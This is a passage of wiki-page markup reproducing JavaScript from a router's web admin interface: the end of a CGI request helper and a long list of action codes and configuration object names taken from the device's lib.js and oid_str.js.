							else {&lt;br /&gt;
								var attr = lines[i].split(&amp;quot;=&amp;quot;);&lt;br /&gt;
								instance[attr[0]] = attr.slice(1).join(&#039;=&#039;);&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
					}&lt;br /&gt;
				}&lt;br /&gt;
				while(ds.length) ds.pop();&lt;br /&gt;
				return ret;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (bAnsi) {&lt;br /&gt;
				var formObj = $.d.forms[0];	&lt;br /&gt;
				try {&lt;br /&gt;
					formObj.target = &amp;quot;up_frame&amp;quot;;&lt;br /&gt;
					formObj.action = &amp;quot;/cgi/ansi&amp;quot;;&lt;br /&gt;
					formObj.submit();&lt;br /&gt;
				}catch(e){}&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var resolve2 = function(){&lt;br /&gt;
				$.io(url, false, function(ret){ ret = resolve(ret, tmpds); if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);}, data, false, unerr)};&lt;br /&gt;
				if (bAnsi) $.timeout(resolve2, 100);&lt;br /&gt;
				else resolve2();&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			else {&lt;br /&gt;
				while(ret = $.io(url, false, null, data, false, unerr)) {&lt;br /&gt;
					ret = resolve(ret, $.ds);&lt;br /&gt;
					if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) return ret;&lt;br /&gt;
					count++;&lt;br /&gt;
					if (count &amp;gt; 3) return $.err(&amp;quot;exe&amp;quot;, ERR_HTTP_ERR_CGI_INVALID_ANSI, unerr);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	};&lt;br /&gt;
})();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; CGI parameters extracted from lib.js and oid_str.js&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;var ACT_GET = 1;&lt;br /&gt;
var ACT_SET = 2;&lt;br /&gt;
var ACT_ADD = 3;&lt;br /&gt;
var ACT_DEL = 4;&lt;br /&gt;
var ACT_GL  = 5;&lt;br /&gt;
var ACT_GS  = 6;&lt;br /&gt;
var ACT_OP  = 7;&lt;br /&gt;
var ACT_CGI = 8;&lt;br /&gt;
var ACT_SIG = 9;&lt;br /&gt;
&lt;br /&gt;
var ACT_OP_REBOOT = &amp;quot;ACT_REBOOT&amp;quot;;&lt;br /&gt;
var ACT_OP_FACTORY_RESET = &amp;quot;ACT_FACTORY_RESET&amp;quot;;&lt;br /&gt;
var ACT_OP_DHCP_RENEW = &amp;quot;ACT_DHCP_RENEW&amp;quot;;&lt;br /&gt;
var ACT_OP_DHCP_RELEASE = &amp;quot;ACT_DHCP_RELEASE&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_CONN = &amp;quot;ACT_PPP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_DISCONN = &amp;quot;ACT_PPP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_GET_NEW_PIN = &amp;quot;ACT_WLAN_GET_NEW_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_RESTORE_PIN = &amp;quot;ACT_WLAN_RESTORE_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_UPDATE_ASSOC = &amp;quot;ACT_WLAN_UPDATE_ASSOC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PBC = &amp;quot;ACT_WLAN_WPS_PBC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PIN = &amp;quot;ACT_WLAN_WPS_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_SCAN = &amp;quot;ACT_WLAN_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_NTP_REQUEST = &amp;quot;ACT_NTP_REQUEST&amp;quot;;&lt;br /&gt;
var ACT_OP_DLNA_MANUAL_SCAN = &amp;quot;ACT_DLNA_MANUAL_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_CONN = &amp;quot;ACT_L2TP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_DISCONN = &amp;quot;ACT_L2TP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_CONN = &amp;quot;ACT_PPTP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_DISCONN = &amp;quot;ACT_PPTP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WAN_TYPE_DETECT = &amp;quot;ACT_WAN_TYPE_DETECT&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_CONN = &amp;quot;ACT_BPA_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_DISCONN = &amp;quot;ACT_BPA_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_IPPING = &amp;quot;ACT_OP_IPPING&amp;quot;;&lt;br /&gt;
var ACT_OP_TRACERT = &amp;quot;ACT_OP_TRACERT&amp;quot;;&lt;br /&gt;
var ERR_HTTP_ERR_CGI_INVALID_ANSI = 71017;&lt;br /&gt;
&lt;br /&gt;
var IGD = &amp;quot;IGD&amp;quot;&lt;br /&gt;
var IGD_DEV_INFO = &amp;quot;IGD_DEV_INFO&amp;quot;&lt;br /&gt;
var SYSLOG_CFG = &amp;quot;SYSLOG_CFG&amp;quot;&lt;br /&gt;
var MANAGEMENT_SERVER = &amp;quot;MANAGEMENT_SERVER&amp;quot;&lt;br /&gt;
var ETH_SWITCH = &amp;quot;ETH_SWITCH&amp;quot;&lt;br /&gt;
var SYS_CFG = &amp;quot;SYS_CFG&amp;quot;&lt;br /&gt;
var NET_CFG = &amp;quot;NET_CFG&amp;quot;&lt;br /&gt;
var USER_CFG = &amp;quot;USER_CFG&amp;quot;&lt;br /&gt;
var CURRENT_USER = &amp;quot;CURRENT_USER&amp;quot;&lt;br /&gt;
var APP_CFG = &amp;quot;APP_CFG&amp;quot;&lt;br /&gt;
var HTTP_CFG = &amp;quot;HTTP_CFG&amp;quot;&lt;br /&gt;
var HTTPS_CERT_AUTH = &amp;quot;HTTPS_CERT_AUTH&amp;quot;&lt;br /&gt;
var PH_DDNS_CFG = &amp;quot;PH_DDNS_CFG&amp;quot;&lt;br /&gt;
var PH_RT_DATA = &amp;quot;PH_RT_DATA&amp;quot;&lt;br /&gt;
var DYN_DNS_CFG = &amp;quot;DYN_DNS_CFG&amp;quot;&lt;br /&gt;
var UPNP_CFG = &amp;quot;UPNP_CFG&amp;quot;&lt;br /&gt;
var UPNP_PORTMAPPING = &amp;quot;UPNP_PORTMAPPING&amp;quot;&lt;br /&gt;
var DIAG_TOOL = &amp;quot;DIAG_TOOL&amp;quot;&lt;br /&gt;
var CWMP_CFG = &amp;quot;CWMP_CFG&amp;quot;&lt;br /&gt;
var SNMP_CFG = &amp;quot;SNMP_CFG&amp;quot;&lt;br /&gt;
var NOIP_DNS_CFG = &amp;quot;NOIP_DNS_CFG&amp;quot;&lt;br /&gt;
var CMX_DNS_CFG = &amp;quot;CMX_DNS_CFG&amp;quot;&lt;br /&gt;
var ACL_CFG = &amp;quot;ACL_CFG&amp;quot;&lt;br /&gt;
var WAN_TYPE_DETECT = &amp;quot;WAN_TYPE_DETECT&amp;quot;&lt;br /&gt;
var DMZ_HOST_CFG = &amp;quot;DMZ_HOST_CFG&amp;quot;&lt;br /&gt;
var TIME = &amp;quot;TIME&amp;quot;&lt;br /&gt;
var HOUR = &amp;quot;HOUR&amp;quot;&lt;br /&gt;
var L3_FORWARDING = &amp;quot;L3_FORWARDING&amp;quot;&lt;br /&gt;
var L3_FORWARDING_ENTRY = &amp;quot;L3_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING = &amp;quot;L3_IP6_FORWARDING&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING_ENTRY = &amp;quot;L3_IP6_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING = &amp;quot;L2_BRIDGING&amp;quot;&lt;br /&gt;
var L2_BRIDGING_ENTRY = &amp;quot;L2_BRIDGING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING_FILTER = &amp;quot;L2_BRIDGING_FILTER&amp;quot;&lt;br /&gt;
var L2_BRIDGING_INTF = &amp;quot;L2_BRIDGING_INTF&amp;quot;&lt;br /&gt;
var LAN_DEV = &amp;quot;LAN_DEV&amp;quot;&lt;br /&gt;
var LAN_HOST_CFG = &amp;quot;LAN_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP_INTF = &amp;quot;LAN_IP_INTF&amp;quot;&lt;br /&gt;
var LAN_DHCP_STATIC_ADDR = &amp;quot;LAN_DHCP_STATIC_ADDR&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL = &amp;quot;LAN_DHCP_COND_SRV_POOL&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL_OPT = &amp;quot;LAN_DHCP_COND_SRV_POOL_OPT&amp;quot;&lt;br /&gt;
var YANDEX_DNS_POOL = &amp;quot;YANDEX_DNS_POOL&amp;quot;&lt;br /&gt;
var LAN_IP6_HOST_CFG = &amp;quot;LAN_IP6_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP6_INTF = &amp;quot;LAN_IP6_INTF&amp;quot;&lt;br /&gt;
var LAN_ETH_INTF = &amp;quot;LAN_ETH_INTF&amp;quot;&lt;br /&gt;
var LAN_HOSTS = &amp;quot;LAN_HOSTS&amp;quot;&lt;br /&gt;
var LAN_HOST_ENTRY = &amp;quot;LAN_HOST_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN = &amp;quot;LAN_WLAN&amp;quot;&lt;br /&gt;
var LAN_WLAN_WPS = &amp;quot;LAN_WLAN_WPS&amp;quot;&lt;br /&gt;
var LAN_WLAN_MACTABLEENTRY = &amp;quot;LAN_WLAN_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_ASSOC_DEV = &amp;quot;LAN_WLAN_ASSOC_DEV&amp;quot;&lt;br /&gt;
var LAN_WLAN_BSSDESC_ENTRY = &amp;quot;LAN_WLAN_BSSDESC_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WEPKEY = &amp;quot;LAN_WLAN_WEPKEY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WDSBRIDGE = &amp;quot;LAN_WLAN_WDSBRIDGE&amp;quot;&lt;br /&gt;
var LAN_WLAN_MULTISSID = &amp;quot;LAN_WLAN_MULTISSID&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDENTRY = &amp;quot;LAN_WLAN_MSSIDENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDWEPKEY = &amp;quot;LAN_WLAN_MSSIDWEPKEY&amp;quot;&lt;br /&gt;
var MSSID_MACTABLEENTRY = &amp;quot;MSSID_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WLBRNAME = &amp;quot;LAN_WLAN_WLBRNAME&amp;quot;&lt;br /&gt;
var LAN_WLAN_TASK_SCHEDULE = &amp;quot;LAN_WLAN_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var LAN_WLAN_QUICKSAVE = &amp;quot;LAN_WLAN_QUICKSAVE&amp;quot;&lt;br /&gt;
var LAN_WLAN_GUESTNET = &amp;quot;LAN_WLAN_GUESTNET&amp;quot;&lt;br /&gt;
var LAN_IGMP_SNOOP = &amp;quot;LAN_IGMP_SNOOP&amp;quot;&lt;br /&gt;
var WAN_DEV = &amp;quot;WAN_DEV&amp;quot;&lt;br /&gt;
var WAN_COMMON_INTF_CFG = &amp;quot;WAN_COMMON_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_CFG = &amp;quot;WAN_DSL_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS = &amp;quot;WAN_DSL_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS_TOTAL = &amp;quot;WAN_DSL_INTF_STATS_TOTAL&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTOPVC = &amp;quot;WAN_DSL_AUTOPVC&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTO_PVC_PAIR = &amp;quot;WAN_DSL_AUTO_PVC_PAIR&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF = &amp;quot;WAN_ETH_INTF&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF_STATS = &amp;quot;WAN_ETH_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_PON = &amp;quot;WAN_PON&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF = &amp;quot;WAN_EPON_INTF&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OAM_STATS = &amp;quot;WAN_EPON_INTF_OAM_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_MPCP_STATS = &amp;quot;WAN_EPON_INTF_MPCP_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_STATS = &amp;quot;WAN_EPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OPTICAL_STATS = &amp;quot;WAN_EPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF = &amp;quot;WAN_GPON_INTF&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OMCI_STATS = &amp;quot;WAN_GPON_INTF_OMCI_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_STATS = &amp;quot;WAN_GPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OPTICAL_STATS = &amp;quot;WAN_GPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_CONN_DEVICE = &amp;quot;WAN_CONN_DEVICE&amp;quot;&lt;br /&gt;
var WAN_DSL_LINK_CFG = &amp;quot;WAN_DSL_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_PON_LINK_CFG = &amp;quot;WAN_PON_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_ETH_LINK_CFG = &amp;quot;WAN_ETH_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_USB_3G_LINK_CFG = &amp;quot;WAN_USB_3G_LINK_CFG&amp;quot;&lt;br /&gt;
var USB_MODEM_PARAM = &amp;quot;USB_MODEM_PARAM&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN = &amp;quot;WAN_L2TP_CONN&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_PORTMAPPING = &amp;quot;WAN_L2TP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var L2TP_CONN_PORTTRIGGERING = &amp;quot;L2TP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_STATS = &amp;quot;WAN_L2TP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN = &amp;quot;WAN_PPTP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_PORTMAPPING = &amp;quot;WAN_PPTP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPTP_CONN_PORTTRIGGERING = &amp;quot;PPTP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_STATS = &amp;quot;WAN_PPTP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_IP_CONN = &amp;quot;WAN_IP_CONN&amp;quot;&lt;br /&gt;
var WAN_IP_CONN_PORTMAPPING = &amp;quot;WAN_IP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var IP_CONN_PORTTRIGGERING = &amp;quot;IP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN = &amp;quot;WAN_PPP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_PORTMAPPING = &amp;quot;WAN_PPP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPP_CONN_PORTTRIGGERING = &amp;quot;PPP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_STATS = &amp;quot;WAN_PPP_CONN_STATS&amp;quot;&lt;br /&gt;
var STAT_CFG = &amp;quot;STAT_CFG&amp;quot;&lt;br /&gt;
var STAT_ENTRY = &amp;quot;STAT_ENTRY&amp;quot;&lt;br /&gt;
var DDOS_CFG = &amp;quot;DDOS_CFG&amp;quot;&lt;br /&gt;
var DOS_HOST = &amp;quot;DOS_HOST&amp;quot;&lt;br /&gt;
var ARP = &amp;quot;ARP&amp;quot;&lt;br /&gt;
var ARP_ENTRY = &amp;quot;ARP_ENTRY&amp;quot;&lt;br /&gt;
var ARP_BIND = &amp;quot;ARP_BIND&amp;quot;&lt;br /&gt;
var ARP_BIND_ENTRY = &amp;quot;ARP_BIND_ENTRY&amp;quot;&lt;br /&gt;
var QUEUE_MANAGEMENT = &amp;quot;QUEUE_MANAGEMENT&amp;quot;&lt;br /&gt;
var CLASSIFICATION = &amp;quot;CLASSIFICATION&amp;quot;&lt;br /&gt;
var QOS_APP = &amp;quot;QOS_APP&amp;quot;&lt;br /&gt;
var QOS_INTF = &amp;quot;QOS_INTF&amp;quot;&lt;br /&gt;
var QOS_QUEUE = &amp;quot;QOS_QUEUE&amp;quot;&lt;br /&gt;
var TC = &amp;quot;TC&amp;quot;&lt;br /&gt;
var TC_RULE = &amp;quot;TC_RULE&amp;quot;&lt;br /&gt;
var ALG_CFG = &amp;quot;ALG_CFG&amp;quot;&lt;br /&gt;
var IPTV = &amp;quot;IPTV&amp;quot;&lt;br /&gt;
var DSL_IPTV_CFG = &amp;quot;DSL_IPTV_CFG&amp;quot;&lt;br /&gt;
var ETH_IPTV_CFG = &amp;quot;ETH_IPTV_CFG&amp;quot;&lt;br /&gt;
var FIREWALL = &amp;quot;FIREWALL&amp;quot;&lt;br /&gt;
var INTERNAL_HOST = &amp;quot;INTERNAL_HOST&amp;quot;&lt;br /&gt;
var EXTERNAL_HOST = &amp;quot;EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var TASK_SCHEDULE = &amp;quot;TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var RULE = &amp;quot;RULE&amp;quot;&lt;br /&gt;
var URL_LIST = &amp;quot;URL_LIST&amp;quot;&lt;br /&gt;
var URL_CFG = &amp;quot;URL_CFG&amp;quot;&lt;br /&gt;
var IP6_FIREWALL = &amp;quot;IP6_FIREWALL&amp;quot;&lt;br /&gt;
var IP6_INTERNAL_HOST = &amp;quot;IP6_INTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_EXTERNAL_HOST = &amp;quot;IP6_EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_TASK_SCHEDULE = &amp;quot;IP6_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var IP6_RULE = &amp;quot;IP6_RULE&amp;quot;&lt;br /&gt;
var IP6_TUNNEL = &amp;quot;IP6_TUNNEL&amp;quot;&lt;br /&gt;
var DSLITE = &amp;quot;DSLITE&amp;quot;&lt;br /&gt;
var SIT_6RD = &amp;quot;SIT_6RD&amp;quot;&lt;br /&gt;
var SERVICES = &amp;quot;SERVICES&amp;quot;&lt;br /&gt;
var VOICE = &amp;quot;VOICE&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS_STS = &amp;quot;XTP_VOICE_PROCESS_STS&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS = &amp;quot;XTP_VOICE_PROCESS&amp;quot;&lt;br /&gt;
var VOICE_CAP = &amp;quot;VOICE_CAP&amp;quot;&lt;br /&gt;
var VOICE_CAP_SIP = &amp;quot;VOICE_CAP_SIP&amp;quot;&lt;br /&gt;
var VOICE_CAP_MGCP = &amp;quot;VOICE_CAP_MGCP&amp;quot;&lt;br /&gt;
var VOICE_CAP_CODECS = &amp;quot;VOICE_CAP_CODECS&amp;quot;&lt;br /&gt;
var VOICE_PROF = &amp;quot;VOICE_PROF&amp;quot;&lt;br /&gt;
var VOICE_PROF_PROVIDER = &amp;quot;VOICE_PROF_PROVIDER&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP = &amp;quot;VOICE_PROF_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP_EVTSUBSCRIBE = &amp;quot;VOICE_PROF_SIP_EVTSUBSCRIBE&amp;quot;&lt;br /&gt;
var VOICE_PROF_MGCP = &amp;quot;VOICE_PROF_MGCP&amp;quot;&lt;br /&gt;
var VOICE_PROF_RTP = &amp;quot;VOICE_PROF_RTP&amp;quot;&lt;br /&gt;
var VOICE_PROF_FAXT38 = &amp;quot;VOICE_PROF_FAXT38&amp;quot;&lt;br /&gt;
var XTP_USB_VOICEMAIL_PUBLICCFG = &amp;quot;XTP_USB_VOICEMAIL_PUBLICCFG&amp;quot;&lt;br /&gt;
var XTP_MULTI_ISP = &amp;quot;XTP_MULTI_ISP&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC = &amp;quot;XTP_MULTIISP_CODEC&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC_LIST = &amp;quot;XTP_MULTIISP_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE = &amp;quot;VOICE_PROF_LINE&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_SIP = &amp;quot;VOICE_PROF_LINE_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_XTPUSBVM = &amp;quot;VOICE_PROF_LINE_XTPUSBVM&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CALLFEAT = &amp;quot;VOICE_PROF_LINE_CALLFEAT&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_PROC = &amp;quot;VOICE_PROF_LINE_PROC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC = &amp;quot;VOICE_PROF_LINE_CODEC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC_LIST = &amp;quot;VOICE_PROF_LINE_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_STATS = &amp;quot;VOICE_PROF_LINE_STATS&amp;quot;&lt;br /&gt;
var XTP_FEATURE_CODE = &amp;quot;XTP_FEATURE_CODE&amp;quot;&lt;br /&gt;
var VOICE_PHY_INTERFACE = &amp;quot;VOICE_PHY_INTERFACE&amp;quot;&lt;br /&gt;
var VOICE_PHYINTERFACE_TESTS = &amp;quot;VOICE_PHYINTERFACE_TESTS&amp;quot;&lt;br /&gt;
var XTP_VOICE_MULTI_ISPDIALPLAN = &amp;quot;XTP_VOICE_MULTI_ISPDIALPLAN&amp;quot;&lt;br /&gt;
var XTP_VOICE_PSTN = &amp;quot;XTP_VOICE_PSTN&amp;quot;&lt;br /&gt;
var STORAGE_SERVICE = &amp;quot;STORAGE_SERVICE&amp;quot;&lt;br /&gt;
var CAPABLE = &amp;quot;CAPABLE&amp;quot;&lt;br /&gt;
var USER_ACCOUNT = &amp;quot;USER_ACCOUNT&amp;quot;&lt;br /&gt;
var USB_DEVICE = &amp;quot;USB_DEVICE&amp;quot;&lt;br /&gt;
var LOGICAL_VOLUME = &amp;quot;LOGICAL_VOLUME&amp;quot;&lt;br /&gt;
var FOLDER_BROWSE = &amp;quot;FOLDER_BROWSE&amp;quot;&lt;br /&gt;
var FOLDER_NODE = &amp;quot;FOLDER_NODE&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER = &amp;quot;DLNA_MEDIA_SERVER&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER_FOLDER = &amp;quot;DLNA_MEDIA_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var SMB_SERVICE = &amp;quot;SMB_SERVICE&amp;quot;&lt;br /&gt;
var SMB_SERVICE_FOLDER = &amp;quot;SMB_SERVICE_FOLDER&amp;quot;&lt;br /&gt;
var SMB_USER_ACCESS = &amp;quot;SMB_USER_ACCESS&amp;quot;&lt;br /&gt;
var FTP_SERVER = &amp;quot;FTP_SERVER&amp;quot;&lt;br /&gt;
var FTP_SERVER_FOLDER = &amp;quot;FTP_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var FTP_USER_ACCESS = &amp;quot;FTP_USER_ACCESS&amp;quot;&lt;br /&gt;
var XTP_PRINT_SERVICE = &amp;quot;XTP_PRINT_SERVICE&amp;quot;&lt;br /&gt;
var XTP_IGD_CALL_FIREWALL_CFG = &amp;quot;XTP_IGD_CALL_FIREWALL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_SPEED_DIAL_CFG = &amp;quot;XTP_IGD_SPEED_DIAL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTI_ISP_DIAL_PLAN = &amp;quot;XTP_IGD_MULTI_ISP_DIAL_PLAN&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTIISPDP_LIST = &amp;quot;XTP_IGD_MULTIISPDP_LIST&amp;quot;&lt;br /&gt;
var XTP_CALLLOGCFG = &amp;quot;XTP_CALLLOGCFG&amp;quot;&lt;br /&gt;
var IPSEC = &amp;quot;IPSEC&amp;quot;&lt;br /&gt;
var IPSEC_CFG = &amp;quot;IPSEC_CFG&amp;quot;&lt;br /&gt;
var SYS_MODE = &amp;quot;SYS_MODE&amp;quot;&lt;br /&gt;
var EWAN = &amp;quot;EWAN&amp;quot;&lt;br /&gt;
var USER_INFO = &amp;quot;USER_INFO&amp;quot;&lt;br /&gt;
var GPON_USER_INFO = &amp;quot;GPON_USER_INFO&amp;quot;&lt;br /&gt;
var GPON_AUTH_CTC = &amp;quot;GPON_AUTH_CTC&amp;quot;&lt;br /&gt;
var GPON_AUTH_SN = &amp;quot;GPON_AUTH_SN&amp;quot;&lt;br /&gt;
var GPON_AUTH_PWD = &amp;quot;GPON_AUTH_PWD&amp;quot;&lt;br /&gt;
var GPON_MAC_INFO = &amp;quot;GPON_MAC_INFO&amp;quot;&lt;br /&gt;
var GPON_FWD_RULE = &amp;quot;GPON_FWD_RULE&amp;quot;&lt;br /&gt;
var GPON_LOCAL_RULE_ENTRY = &amp;quot;GPON_LOCAL_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_REMOTE_RULE_ENTRY = &amp;quot;GPON_REMOTE_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT = &amp;quot;GPON_OMCI_IOT&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT_ENTRY = &amp;quot;GPON_OMCI_IOT_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_ME_ATTR = &amp;quot;GPON_OMCI_ME_ATTR&amp;quot;&lt;br /&gt;
var CLOUD_SERVICE = &amp;quot;CLOUD_SERVICE&amp;quot;&lt;br /&gt;
var FW_UPGRADE_INFO = &amp;quot;FW_UPGRADE_INFO&amp;quot;&lt;br /&gt;
var CLOUD_USER_ACCOUNT = &amp;quot;CLOUD_USER_ACCOUNT&amp;quot;&lt;br /&gt;
var OWNER_INFO = &amp;quot;OWNER_INFO&amp;quot;&lt;br /&gt;
var CURRENT_USER_INFO = &amp;quot;CURRENT_USER_INFO&amp;quot;&lt;br /&gt;
var CLOUD_DDNS = &amp;quot;CLOUD_DDNS&amp;quot;&lt;br /&gt;
var CLOUD_DDNS_ENTRY = &amp;quot;CLOUD_DDNS_ENTRY&amp;quot;&lt;br /&gt;
var WAN_BLOCK = &amp;quot;WAN_BLOCK&amp;quot;&lt;br /&gt;
var WAN_ERROR_BLOCK = &amp;quot;WAN_ERROR_BLOCK&amp;quot;&lt;br /&gt;
var FW_UP_INFO_BLOCK = &amp;quot;FW_UP_INFO_BLOCK&amp;quot;&lt;br /&gt;
var IPPING_DIAG = &amp;quot;IPPING_DIAG&amp;quot;&lt;br /&gt;
var TRACEROUTE_DIAG = &amp;quot;TRACEROUTE_DIAG&amp;quot;&lt;br /&gt;
var SDMZ_CFG = &amp;quot;SDMZ_CFG&amp;quot;&lt;br /&gt;
var WEB_CFG = &amp;quot;WEB_CFG&amp;quot;&lt;br /&gt;
var VLAN = &amp;quot;VLAN&amp;quot;&lt;br /&gt;
var ISP_SERVICE = &amp;quot;ISP_SERVICE&amp;quot;&lt;br /&gt;
var WOL = &amp;quot;WOL&amp;quot;&lt;br /&gt;
var WOL_ITEM = &amp;quot;WOL_ITEM&amp;quot;&lt;br /&gt;
var IPV6_CFG = &amp;quot;IPV6_CFG&amp;quot;&lt;br /&gt;
var SYS_STATE = &amp;quot;SYS_STATE&amp;quot;&lt;br /&gt;
var IPV6_PASS_THROUGH = &amp;quot;IPV6_PASS_THROUGH&amp;quot;&lt;br /&gt;
var AUTO_REBOOT_CFG = &amp;quot;AUTO_REBOOT_CFG&amp;quot;&lt;br /&gt;
var CPU_MEM = &amp;quot;CPU_MEM&amp;quot;&lt;br /&gt;
var PRODUCE_INFO = &amp;quot;PRODUCE_INFO&amp;quot;&lt;br /&gt;
var MULTIMODE = &amp;quot;MULTIMODE&amp;quot;&lt;br /&gt;
var MULTIMODE_AP = &amp;quot;MULTIMODE_AP&amp;quot;&lt;br /&gt;
